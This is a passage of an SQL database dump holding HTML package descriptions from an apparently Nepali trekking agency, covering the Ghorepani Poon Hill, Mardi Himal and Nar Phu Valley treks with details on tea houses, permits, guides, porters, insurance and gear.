trekking trail to Ghorepani, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night.<br>&nbsp;</p><h3 style=\"text-align:justify;\">Food and water&nbsp;</h3><p style=\"text-align:justify;\"><br>Food and water is very important things during the trekking to Annapurna Base Camp. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food after Chomrong Village due to no refrigerator that may cause stomach problem. Even, after Chomrong, meat is not allowed to eat due to Buddhist culture and respect to Himalaya. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on.&nbsp;<br><br>Do not drink water from river or water fall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommend to drink 2-3 liters per day. But, during the trek to ABC, you cannot buy bottle water rather Tea houses will provide filtered water but you must carry bottle to fill. &nbsp;<br>&nbsp;</p><h3 style=\"text-align:justify;\">Hire a Guide<br>&nbsp;</h3><p style=\"text-align:justify;\">A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;<br><br>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;<br><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek or other trekking trail, our guide makes successful effort to complete the trip.<br>&nbsp;</p><h3 style=\"text-align:justify;\">Hire a Porter&nbsp;</h3><p style=\"text-align:justify;\"><br>Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. Even in Annapurna region, the Brahmin and Chhetri people are working as trekking porters nowadays. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Pokhara, we suggest for visitor to have TIP to porters for their support and cooperation. &nbsp;<br>&nbsp;</p><h3 style=\"text-align:justify;\">Telephone and Internet&nbsp;</h3><p style=\"text-align:justify;\"><br>The internet, telephone and mobile phone is available all the way to Ghorepani, Poonhill. There are multiple option for Internet, mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. NCELL and NTC are cheaper that works during trekking trail as well as Kathmandu too. Even trekkers can purchase WIFI in local tea houses which is chargeable.&nbsp;<br><br>Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.&nbsp;</p><h3 style=\"text-align:justify;\"><br>Toilet and Shower&nbsp;</h3><p style=\"text-align:justify;\"><br>Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trekking to Ghorepani, toilet should be shared by all trekkers due to common Tea houses only with normal beds in the room. Even, there are attached Tea house Room with Toilet and Shower on the route, so we can provide it where possible.<br>&nbsp;</p><h3 style=\"text-align:justify;\">Trek Insurance&nbsp;</h3><p style=\"text-align:justify;\"><br>Trek insurance is very important component during the trek to Ghorepani, Poonhill. We suggest trekkers to make plan to be covered up to 3,200 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for Annapurna Base Camp Trek.<br>&nbsp;</p><h3 style=\"text-align:justify;\">Trek Permit&nbsp;</h3><p style=\"text-align:justify;\"><br>Ghorepani, Poon Hill is situated inside the territory of Annapurna Conservation Area which is the first conservation area of Nepal. Foreign Trekkers are required to obtain permit to entry Annapurna Base Camp such as ACAP Permit and TIMS.&nbsp;<br><br>ACAP is known as Annapurna Conservation Area permit which cost 30$ per person where is 10$ for TIMS (Trekking Information Management System). Permits and TIMS can be purchased in Nepal Tourism Board by our company. During trek, need to show Permit in checking points from our trekking guide and provide permit to you after finish the trek in Pokhara. Our company need your passport copy and 2 copy of passport size Photos to make permit at Kathmandu.<br>&nbsp;</p><h3 style=\"text-align:justify;\">Trek Equipment List&nbsp;</h3><p style=\"text-align:justify;\"><br>While trekking to Ghorepani, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Ghorepani, Poonhill. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Annapurna Base Camp Trek.&nbsp;</p><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">Sleeping Bag (-20)&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Trekking poles&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof hiking boot</li><li style=\"list-style-type:square;text-align:justify;\">Water proof warm Gloves</li><li style=\"list-style-type:square;text-align:justify;\">Sport shoes&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof hiking Pant</li><li style=\"list-style-type:square;text-align:justify;\">Fleece pant</li><li style=\"list-style-type:square;text-align:justify;\">Comfortable underwear&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Warm and thin socks&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Duffel Bag, 90L</li><li style=\"list-style-type:square;text-align:justify;\">Hand carry bag</li><li style=\"list-style-type:square;text-align:justify;\">Water bottle&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Hiking Shorts&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Down Jacket</li><li style=\"list-style-type:square;text-align:justify;\">Warm Cap &amp; Sun Cap&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Sun Glass</li><li style=\"list-style-type:square;text-align:justify;\">Sun Cream</li><li style=\"list-style-type:square;text-align:justify;\">Lip care&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Headlamp with extra batteries</li><li style=\"list-style-type:square;text-align:justify;\">Neck Gaiter &nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Lightweight thermal tops</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof jacket with hood, waterproof and breathable</li><li style=\"list-style-type:square;text-align:justify;\">Rain coat&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Travel Towel&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Camera</li><li style=\"list-style-type:square;text-align:justify;\">Personal first Aid Kit (Though our guide also have First Aid Kit)<br>&nbsp;</li></ul>', 'Ghorepani Poonhill Trekking | Ghorepani Trekking | Poon Hill Trekking', 'Poon Hill, at 3,200 meters, is the trek\'s highlight, offering stunning sunrise views over the majestic Himalayas, including Annapurna I (8,091m), Dhaulagiri (8,167m), and Machhapuchare (6,993m), among other silver peaks.', 'ghorepani poonhill trekking, ghorepani poonhill trekking cost and itinerary 2024, ghorepani trekking, poonhill trekking, ghorepani poon hill trekking in nepal, 11 days ghorepani poon hill trekking, adventure planner', NULL, '2023-07-16 09:35:52', '2025-02-26 02:50:03'),
(20, 'Mardi Himal Base Camp Trekking', 'mardi-himal-base-camp-trekking', '374', NULL, '374,373,4,372,371,370', 1, '<p style=\"text-align:justify;\">Mardi Himal is a short, high altitude trek located in Annapurna conservation Area which is the nearest trekking destination from Pokhara city. Even in a short time, trekkers reach towards high altitude to encounter beautiful Himalayan Landscape and spectacular Mardi Himal Base Camp. Mardi Himal is recently opened trekking trail, located east part of Annapurna Base Came. This trekking route offers best stunning view of Annapurna range, classical Gurung settlement, less crowded tourist destination, beautiful forested greenery with terraced field of Rice, potatoes, millet and vegetables.&nbsp;<br><br>The trekking trail towards Mardi Himal Base Camp goes through amazing forest of Pine, Juniper, Oak, rhododendron and Bamboo, soundless atmosphere, beautiful local villages having super view of white Himalayas such as Annapurna I (8,091m), Annapurna South (7,219m), Hiunchuli (6,441m), Machhapuchare (6,993m), Dhaulagiri (8,167m) and Mardi Himal (5,587m). &nbsp;It is a moderate, and unspoiled trekking in Annapurna region having stimulating, exotic trail, dense forests, alpine pastures, waterfalls and several brooks. The base camp of Mardi Himal is main highlights of this trekking which presents life time unforgettable experience for trekkers due to its virgin magnificence.&nbsp;<br><br>This trekking trail completes within a week, covers beautiful Pokhara city having comfortable 45 minute drive to Phedi and start trekking to Mardi Himal through beautiful Gurung settlement of Pothana, Deurali, Forest Camp, High Camp and Mardi Himal Base Camp. Then, we end our trekking to Pokhara via Siding village. The best time to go Mardi Himal Base Camp is Pre monsoon season (March, April, May) and Post monsoon season (September, October, November). December brings winter in Nepal but even it is best time to go Mardi Himal trekking due to clean atmosphere and beautiful landscape. Spring season presents colorful flowers of rhododendron whereas autumn gives the super view of Silver Mountain. Let explore Mardi Himal Trekking with us.<br>&nbsp;</p><h5 style=\"text-align:justify;\">Highlights&nbsp;</h5><ul><li style=\"text-align:justify;\">Scenic drive from Kathmandu to Pokhara</li><li style=\"text-align:justify;\">Beautiful Pokhara City, Phewa Lake and Lakeside</li><li style=\"text-align:justify;\">Explore local Gurung settlement and their life style during trekking&nbsp;</li><li style=\"text-align:justify;\">Hike through beautiful forest of Oak, rhododendron and bamboo trees</li><li style=\"text-align:justify;\">Magnificent view of Annapurna I (8,091m), Annapurna South (7,219m), Hiunchuli (6,441m), Machhapuchare (6,993m), Dhaulagiri (8,167m) and Mardi Himal (5,587m). &nbsp;</li><li style=\"text-align:justify;\">Explore short, high altitude trekking of Mardi Himal Base Camp<br>&nbsp;</li></ul>', 'Mardi Himal is a short, high altitude trek located in Annapurna conservation Area which is the nearest trekking destination from Pokhara city. Even in a short time, trekkers reach towards high altitude to encounter beautiful Himalayan Landscape and spectacular Mardi Himal Base Camp. Mardi Himal is recently opened trekking trail, located east part of Annapurna Base Came. This trekking route offers best stunning view of Annapurna range, classical Gurung settlement, less crowded tourist destination, beautiful forested greenery with terraced field of Rice, potatoes, millet and vegetables.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;\">Airport Pickup and drop in Private Transport</li><li style=\"list-style-type:square;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:square;\">3 star Hotel in Kathmandu and Pokhara with Twin Share including breakfast only&nbsp;</li><li style=\"list-style-type:square;\">Pokhara to Kande drive (Before Trek) and Nayapul to Pokhara drive (after Trek)&nbsp;</li><li style=\"list-style-type:square;\">Flight from Pokhara to Kathmandu &nbsp;</li><li style=\"list-style-type:square;\">Kathmandu to Pokhara drive by private Transport&nbsp;</li><li style=\"list-style-type:square;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:square;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:square;\">Twin share Tea House Accommodation with Breakfast only during Mardi Himal Trekking</li><li style=\"list-style-type:square;\">&nbsp;Annapurna Conversation Area Project Permit, TIMS and all Documents for Mardi Himal Trekking</li><li style=\"list-style-type:square;\">Nepal Government Taxes and Office Service Charge</li></ul><p>&nbsp;</p>', '<ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;\">Lunch &amp; Dinner during Kathmandu and Pokhara&nbsp;</li><li style=\"list-style-type:square;\">Lunch &amp; Dinner during Mardi Himal Trekking</li><li style=\"list-style-type:square;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:square;\">International Flight Ticket</li><li style=\"list-style-type:square;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:square;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:square;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:square;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:square;\">Any other things not mentioned&nbsp;<br>&nbsp;</li></ul>', '<h2 style=\"text-align:justify;\">Trekking Difficulty</h2><p style=\"text-align:justify;\">Is it difficult to trek Mardi Himal Base Camp? &nbsp;You do not need to be a good Football player or Olympic athlete to success Mardi Himal trek. We have most experience of people success to reach Mardi Himal. So, anyone who is mentally and physically fit can easily completer the journey to Mardi Himal. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach Mardi Hiaml with happy mood are the hallmarks of your successful journey to destination. Though, Mardi Himal is easy trekking trail having steep hills with ascending and descending path. There will be no effect of high altitude during the trek to Mardi Himal.&nbsp;</p><h2 style=\"text-align:justify;\">Best Time to Go</h2><p style=\"text-align:justify;\">If you are looking trek to Mardi Himal, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Annapurna Base Camp is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Everest Base Camp. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.<br><br>Pre-monsoon is called spring season that covers the month of March, April and May whereas rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather but it is very rare. If trekkers go to ABC trek, during spring season, he or she is very luck to walk through the forest of rhododendron. The whole hill becomes red and the panoramic view of Annapurna makes your trip life time unforgettable.&nbsp;<br><br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;</p><h2 style=\"text-align:justify;\">Accommodation</h2><p style=\"text-align:justify;\">During the trekking trail to Mardi Himal, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night.&nbsp;</p><h2 style=\"text-align:justify;\">Food and water</h2><p style=\"text-align:justify;\">Food and water is very important things during the trekking to Mardi Himal. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food after Deurali Village due to no refrigerator that may cause stomach problem.. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on.&nbsp;<br><br>Do not drink water from river or water fall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommend to drink 2-3 liters per day. But, during the trek to ABC, you cannot buy bottle water rather Tea houses will provide filtered water but you must carry bottle to fill.&nbsp;</p><h2 style=\"text-align:justify;\">Hire a Guide</h2><p style=\"text-align:justify;\">A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;<br><br>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;<br><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek or other trekking trail, our guide makes successful effort to complete the trip.&nbsp;</p><h2 style=\"text-align:justify;\">Hire a Porter</h2><p style=\"text-align:justify;\">Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. Even in Annapurna region, the Brahmin and Chhetri people are working as trekking porters nowadays. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Pokhara, we suggest for visitor to have TIP to porters for their support and cooperation.&nbsp;</p><h2 style=\"text-align:justify;\">Telephone and Internet</h2><p style=\"text-align:justify;\">The internet, telephone and mobile phone is available all the way to Mardi Himal . There are multiple option for Internet, mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. NCELL and NTC are cheaper that works during trekking trail as well as Kathmandu too. Even trekkers can purchase WIFI in local tea houses which is chargeable.&nbsp;<br>Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.&nbsp;</p><h2 style=\"text-align:justify;\">Toilet and Shower</h2><p style=\"text-align:justify;\">Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trekking to Mardi Himal, toilet should be shared by all trekkers due to common Tea houses only with normal beds in the room. During the trek to Mardi Himal, Toilet is situated near the Tea house but it is used by all visitors turn by turn. They have gas or solar shower so trekkers can get hot shower during the trek to Mardi Himal.</p><h2 style=\"text-align:justify;\">Trek Insurance</h2><p style=\"text-align:justify;\">Trek insurance is very important component during the trek to Mardi Himal. We suggest trekkers to make plan to be covered up to 4,500 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for Annapurna Base Camp Trek.&nbsp;</p><h2 style=\"text-align:justify;\">Trek Permit</h2><p style=\"text-align:justify;\">Mardi Himal is situated inside the territory of Annapurna Conservation Area which is the first conservation area of Nepal. Foreign Trekkers are required to obtain permit to entry Mardi Himal Base Camp such as ACAP Permit and TIMS.&nbsp;<br><br>ACAP is known as Annapurna Conservation Area permit which cost 30$ per person where is 10$ for TIMS (Trekking Information Management System). Permits and TIMS can be purchased in Nepal Tourism Board by our company. During trek, need to show Permit in checking points from our trekking guide and provide permit to you after finish the trek in Pokhara. Our company need your passport copy and 2 copy of passport size Photos to make permit at Kathmandu.</p><h2 style=\"text-align:justify;\">Trek Equipment List</h2><p style=\"text-align:justify;\">While trekking to Everest Base Camp, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Annapurna Camp. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Annapurna Base Camp Trek.&nbsp;</p><p style=\"text-align:justify;\">&nbsp;</p><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">Sleeping Bag (-20)&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Trekking poles&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof hiking boot</li><li style=\"list-style-type:square;text-align:justify;\">Water proof warm Gloves</li><li style=\"list-style-type:square;text-align:justify;\">Sport shoes&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof hiking Pant</li><li style=\"list-style-type:square;text-align:justify;\">Fleece pant</li><li style=\"list-style-type:square;text-align:justify;\">Comfortable underwear&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Warm and thin socks&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Duffel Bag, 90L</li><li style=\"list-style-type:square;text-align:justify;\">Hand carry bag&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Water bottle&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Hiking Shorts&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Down Jacket</li><li style=\"list-style-type:square;text-align:justify;\">Warm Cap &amp; Sun Cap&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Sun Glass</li><li style=\"list-style-type:square;text-align:justify;\">Sun Cream</li><li style=\"list-style-type:square;text-align:justify;\">Lip care&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Headlamp with extra batteries</li><li style=\"list-style-type:square;text-align:justify;\">Neck Gaiter&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Lightweight thermal tops</li><li style=\"list-style-type:square;text-align:justify;\">Waterproof jacket with hood, waterproof and breathable</li><li style=\"list-style-type:square;text-align:justify;\">Rain coat&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Travel Towel&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Camera</li><li style=\"list-style-type:square;text-align:justify;\">Personal first Aid Kit (Though our guide also have First Aid Kit)<br>&nbsp;</li></ul>', 'Mardi Himal Base Camp Trekking | Mardi Himal Trekking Best Cost | Adventure Planner', 'Discover the stunning Mardi Himal Base Camp Trekking experience with Adventure Planner. Trek through lush forests, charming villages, and breathtaking landscapes, culminating in spectacular views of the Annapurna range. Join us for an unforgettable Himalayan adventure!', 'Mardi Himal Base Camp Trek, Adventure Planner, trekking in Nepal, Annapurna region, adventure travel, scenic views, trekking packages, Nepal trekking tours, mardi himal trekking cost, mardi himal trekking itinerary, mardi himal base camp trekking, mardi himal trekking route map', NULL, '2023-07-16 10:09:23', '2024-12-31 06:43:17');
INSERT INTO `packages` (`id`, `name`, `slug`, `image`, `banner`, `gallery`, `status`, `description`, `short_description`, `map`, `discount`, `location`, `special_title`, `special`, `price`, `inclusions`, `exclusions`, `overview`, `seo_title`, `seo_description`, `seo_keywords`, `seo_schema`, `created_at`, `updated_at`) VALUES
(21, 'Nar Phu Valley Trekking', 'nar-phu-valley-trekking', '382', NULL, '382,385,383,381,384', 1, '<p style=\"text-align:justify;\">Nar Phu Valley is less tourist trekking trail of Nepal, offers off the beaten path, virgin beauty, historical Tibetan settlement, untouched territory from modernity and beautiful Himalayan landscape. It is located in north part of Annapurna circuit trekking route which was restricted area since 2003 for foreigners. It is hidden valley with full of old monasteries, villages, Mani walls, Chortens, prayer flags, barren land of Tibetan plateau in higher region and green forest of Pine and Oak as well as terraced field in lower territory.&nbsp;<br><br>Nar Phu valley trekking is the combination between two classical Tibetan villages of Nar and Phu, having unique ethnic culture of Tibetan inhabitants and their antique life style. The trekking route covers ancient Buddhist residents, narrow canyons, Silent atmosphere, noiseless trekking path, prehistoric Tashi Lakhang Monastery, adventure Kang La Pass (5306) with amazing view of Annapurna Himalayas. After visiting Nar Phu, Trekkers feel moving around 500 years back due to its primitive existence of land and culture. There are 300 local inhabitants called Bhotia people who depend on cattle having many goat and Yak herd.&nbsp;<br><br>Nar Phu valley is equally very beautiful for Himalayan landscape from where trekkers can see Mt. Manaslu (8,163m), Annapurna II (7,937m) Annapurna III (7,555m), Annapurna IV (7,525m) Gangapurna (7,455m) Lamjung Himal (6,983m), Pisang Peak (6,091m) with attractive Ngawal village which is located just opposite of Annapurna Himalayan range after descending from life time adventure Kang La Pass. Kang La pass is one of the adventure challenging activity during your whole trek. From Nar village you have to begin your trek early in the morning due to long and exciting trekking trail to Ngawal village. So, trekkers need proper physical exercise to make successful attempt of Kang La Pass. After Nar phu Trek, if you have time can continue your trek to Annapurna Circuit.&nbsp;<br><br>We follow the Annapurna circuit trekking trail till Koto village after having beautiful scenic Hill drive to Jagat from Kathmandu. Then, we head up to Meta, Kyang, Phu, Mahendrapul, Nar village cross adventure challenging pass and trek to Pisang. We will have one more day hiking to Chame from Pisang and drive to Kahmandu after trekking. Let explore hidden valley of Nar Phu Valley Trekking with us. If the trekkers have time, can continue their journey towards Thorong La Pass.<br>&nbsp;</p><h5 style=\"text-align:justify;\">Highlights&nbsp;</h5><ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;text-align:justify;\">Explore hidden valley and classical Tibetan settlement of &nbsp;Nar Phu village&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Enjoy amazing Himalayan landscape of Annapurna and more silver mountains</li><li style=\"list-style-type:square;text-align:justify;\">Walk through off the beaten path, virgin nature with less tourist on the route</li><li style=\"list-style-type:square;text-align:justify;\">Visit prehistoric Tashi Lakhang monastery, and narrow canyons&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Cross challenging Himalayan Pass of Kang La (5,306m)&nbsp;</li><li style=\"list-style-type:square;text-align:justify;\">Scenic drive from Kathmandu to Koto village&nbsp;<br>&nbsp;</li></ul>', 'Nar Phu Valley is less tourist trekking trail of Nepal, offers off the beaten path, virgin beauty, historical Tibetan settlement, untouched territory from modernity and beautiful Himalayan landscape. It is located in north part of Annapurna circuit trekking route which was restricted area since 2003 for foreigners. It is hidden valley with full of old monasteries, villages, Mani walls, Chortens, prayer flags, barren land of Tibetan plateau in higher region and green forest of Pine and Oak as well as terraced field in lower territory.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;\">Airport Pickup and drop in Private Transport&nbsp;</li><li style=\"list-style-type:square;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:square;\">3 star Hotel in Kathmandu with Twin.</li><li style=\"list-style-type:square;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:square;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:square;\">Twin share Tea House Accommodation with Breakfast only during Nar Phu Valley Trekking</li><li style=\"list-style-type:square;\">Nar Phu special permit, Annapurna Conversation Area Project Permit, TIMS and all Documents for Annapurna Trekking</li><li style=\"list-style-type:square;\">Nepal Government Taxes and Office Service Charge&nbsp;<br>&nbsp;</li></ul>', '<ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;\">Lunch &amp; Dinner in Kathmandu&nbsp;</li><li style=\"list-style-type:square;\">Lunch &amp; Dinner during Nar Phu Valley Trekking</li><li style=\"list-style-type:square;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:square;\">International Flight Ticket</li><li style=\"list-style-type:square;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:square;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:square;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:square;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:square;\">Any other things not mentioned&nbsp;<br>&nbsp;</li></ul>', '<h2 style=\"text-align:justify;\">Trekking Difficulty&nbsp;</h2><p style=\"text-align:justify;\"><br>Is it difficult to trek Nar Phu Valley? &nbsp;You do not need to be a good Football player or Olympic athlete to success Nar Phu Valley trek. Sometime, we have many experience of young people failing to cross Kang La pass of Nar Phu Valley and older people succeeding. So, anyone who is mentally and physically fit can easily completer the journey to Annapurna Circuit. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach Nar Phu Valley with happy mood are the hallmarks of your successful journey to destination. Though, Nar Phu Valley is challenging trekking trail having steep hills with ascending path, sometime with ice but there will be no need any technical equipment or skill.&nbsp;</p><h2 style=\"text-align:justify;\"><br>High Altitude Sickness&nbsp;</h2><p style=\"text-align:justify;\"><br>If the trekkers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness. &nbsp;The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking Annapurna Circuit with proper clothes and equipment. It can affect people of any age, sex and physical conditions. So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to Annapurna, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while trekking to Annapurna Circuit.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Best Time to Go&nbsp;</h2><p style=\"text-align:justify;\"><br>If you are looking trek to Nar Phu Valley, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Nar Phu Valley is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Everest Base Camp. In spring, 